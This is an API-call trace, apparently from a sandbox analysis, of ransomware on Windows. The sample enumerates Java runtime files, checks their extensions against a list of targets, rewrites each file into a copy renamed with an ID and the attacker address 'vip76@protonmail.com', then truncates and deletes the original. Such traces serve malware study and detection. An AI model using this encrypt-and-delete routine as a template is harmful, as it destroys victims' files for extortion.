	[0174.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.488] lstrlenW (lpString=".doc") returned 4
	[0174.488] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.488] lstrlenW (lpString=".docx") returned 5
	[0174.488] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0174.488] lstrlenW (lpString=".pdf") returned 4
	[0174.488] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.488] lstrlenW (lpString=".xls") returned 4
	[0174.488] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.488] lstrlenW (lpString=".xlsx") returned 5
	[0174.488] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0174.488] lstrlenW (lpString=".ppt") returned 4
	[0174.488] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.488] lstrlenW (lpString=".zip") returned 4
	[0174.488] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.488] lstrlenW (lpString=".rar") returned 4
	[0174.488] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.488] lstrlenW (lpString=".bz2") returned 4
	[0174.488] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.488] lstrlenW (lpString=".7z") returned 3
	[0174.489] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString=".dbf") returned 4
	[0174.489] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString=".1cd") returned 4
	[0174.489] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString=".jpg") returned 4
	[0174.489] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString=".doc") returned 4
	[0174.489] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.489] lstrlenW (lpString=".docx") returned 5
	[0174.489] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0174.489] lstrlenW (lpString=".pdf") returned 4
	[0174.489] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString=".xls") returned 4
	[0174.489] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString=".xlsx") returned 5
	[0174.489] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0174.489] lstrlenW (lpString=".ppt") returned 4
	[0174.489] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.489] lstrlenW (lpString=".zip") returned 4
	[0174.489] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString=".rar") returned 4
	[0174.489] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.489] lstrlenW (lpString=".bz2") returned 4
	[0174.489] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.489] lstrlenW (lpString=".7z") returned 3
	[0174.490] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.490] lstrlenW (lpString=".dbf") returned 4
	[0174.490] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.490] lstrlenW (lpString=".1cd") returned 4
	[0174.490] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0174.490] lstrlenW (lpString=".jpg") returned 4
	[0174.490] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.490] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0174.490] lstrlenW (lpString="sunpkcs11.jar") returned 13
	[0174.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.522] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=251327) returned 1
	[0174.522] CloseHandle (hObject=0x594) returned 1
	[0174.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20
	[0174.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.245] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.245] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0175.408] GetLastError () returned 0x0
	[0175.408] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x3d5bf, lpOverlapped=0x0) returned 1
	[0175.419] WriteFile (in: hFile=0x5ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x3d5c0, lpOverlapped=0x0) returned 1
	[0175.426] ReadFile (in: hFile=0x574, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.426] WriteFile (in: hFile=0x5ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xee, lpOverlapped=0x0) returned 1
	[0175.426] SetEndOfFile (hFile=0x5ac) returned 1
	[0175.426] CloseHandle (hObject=0x5ac) returned 1
	[0175.426] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.426] SetEndOfFile (hFile=0x574) returned 1
	[0175.433] CloseHandle (hObject=0x574) returned 1
	[0175.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0175.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1
	[0175.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.982] lstrlenW (lpString=".doc") returned 4
	[0175.982] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.982] lstrlenW (lpString=".docx") returned 5
	[0175.982] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0175.982] lstrlenW (lpString=".pdf") returned 4
	[0175.982] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.982] lstrlenW (lpString=".xls") returned 4
	[0175.982] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.982] lstrlenW (lpString=".xlsx") returned 5
	[0175.982] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0175.982] lstrlenW (lpString=".ppt") returned 4
	[0175.982] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.982] lstrlenW (lpString=".zip") returned 4
	[0175.982] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.983] lstrlenW (lpString=".rar") returned 4
	[0175.983] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.983] lstrlenW (lpString=".bz2") returned 4
	[0175.983] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.983] lstrlenW (lpString=".7z") returned 3
	[0175.983] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.983] lstrlenW (lpString=".dbf") returned 4
	[0175.983] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.983] lstrlenW (lpString=".1cd") returned 4
	[0175.983] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.983] lstrlenW (lpString=".jpg") returned 4
	[0175.983] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.983] lstrlenW (lpString=".doc") returned 4
	[0175.983] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.983] lstrlenW (lpString=".docx") returned 5
	[0175.983] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1
	[0175.983] lstrlenW (lpString=".pdf") returned 4
	[0175.983] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.983] lstrlenW (lpString=".xls") returned 4
	[0175.984] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.984] lstrlenW (lpString=".xlsx") returned 5
	[0175.984] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1
	[0175.984] lstrlenW (lpString=".ppt") returned 4
	[0175.984] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.984] lstrlenW (lpString=".zip") returned 4
	[0175.984] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.984] lstrlenW (lpString=".rar") returned 4
	[0175.984] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.984] lstrlenW (lpString=".bz2") returned 4
	[0175.984] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.984] lstrlenW (lpString=".7z") returned 3
	[0175.984] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.984] lstrlenW (lpString=".dbf") returned 4
	[0175.984] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.984] lstrlenW (lpString=".1cd") returned 4
	[0175.984] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0175.984] lstrlenW (lpString=".jpg") returned 4
	[0175.984] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.984] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0175.984] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0175.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0175.985] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=75124) returned 1
	[0175.985] CloseHandle (hObject=0x5ac) returned 1
	[0175.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20
	[0175.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0175.986] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.986] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.315] GetLastError () returned 0x0
	[0176.315] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x12574, lpOverlapped=0x0) returned 1
	[0176.319] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x12580, lpOverlapped=0x0) returned 1
	[0176.322] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.322] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x108, lpOverlapped=0x0) returned 1
	[0176.322] SetEndOfFile (hFile=0x594) returned 1
	[0176.322] CloseHandle (hObject=0x594) returned 1
	[0176.322] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.322] SetEndOfFile (hFile=0x5ac) returned 1
	[0176.326] CloseHandle (hObject=0x5ac) returned 1
	[0176.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.326] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1
	[0176.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.327] lstrlenW (lpString=".doc") returned 4
	[0176.327] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.327] lstrlenW (lpString=".docx") returned 5
	[0176.327] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0176.327] lstrlenW (lpString=".pdf") returned 4
	[0176.327] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.327] lstrlenW (lpString=".xls") returned 4
	[0176.327] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.327] lstrlenW (lpString=".xlsx") returned 5
	[0176.327] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0176.327] lstrlenW (lpString=".ppt") returned 4
	[0176.327] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.327] lstrlenW (lpString=".zip") returned 4
	[0176.327] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.327] lstrlenW (lpString=".rar") returned 4
	[0176.327] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.327] lstrlenW (lpString=".bz2") returned 4
	[0176.328] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString=".7z") returned 3
	[0176.328] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString=".dbf") returned 4
	[0176.328] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString=".1cd") returned 4
	[0176.328] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString=".jpg") returned 4
	[0176.328] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString=".doc") returned 4
	[0176.328] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString=".docx") returned 5
	[0176.328] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0176.328] lstrlenW (lpString=".pdf") returned 4
	[0176.328] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString=".xls") returned 4
	[0176.328] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.328] lstrlenW (lpString=".xlsx") returned 5
	[0176.328] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0176.328] lstrlenW (lpString=".ppt") returned 4
	[0176.328] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.328] lstrlenW (lpString=".zip") returned 4
	[0176.328] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.328] lstrlenW (lpString=".rar") returned 4
	[0176.328] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.329] lstrlenW (lpString=".bz2") returned 4
	[0176.329] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.329] lstrlenW (lpString=".7z") returned 3
	[0176.329] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.329] lstrlenW (lpString=".dbf") returned 4
	[0176.329] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.329] lstrlenW (lpString=".1cd") returned 4
	[0176.329] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0176.329] lstrlenW (lpString=".jpg") returned 4
	[0176.329] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.329] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.329] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0176.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0176.330] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=698236) returned 1
	[0176.330] CloseHandle (hObject=0x5ac) returned 1
	[0176.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20
	[0176.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0176.331] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.331] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.331] GetLastError () returned 0x0
	[0176.331] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xaa77c, lpOverlapped=0x0) returned 1
	[0176.356] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xaa780, lpOverlapped=0x0) returned 1
	[0176.424] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.424] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0176.425] SetEndOfFile (hFile=0x594) returned 1
	[0176.522] CloseHandle (hObject=0x594) returned 1
	[0176.522] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.522] SetEndOfFile (hFile=0x5ac) returned 1
	[0176.802] CloseHandle (hObject=0x5ac) returned 1
	[0176.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
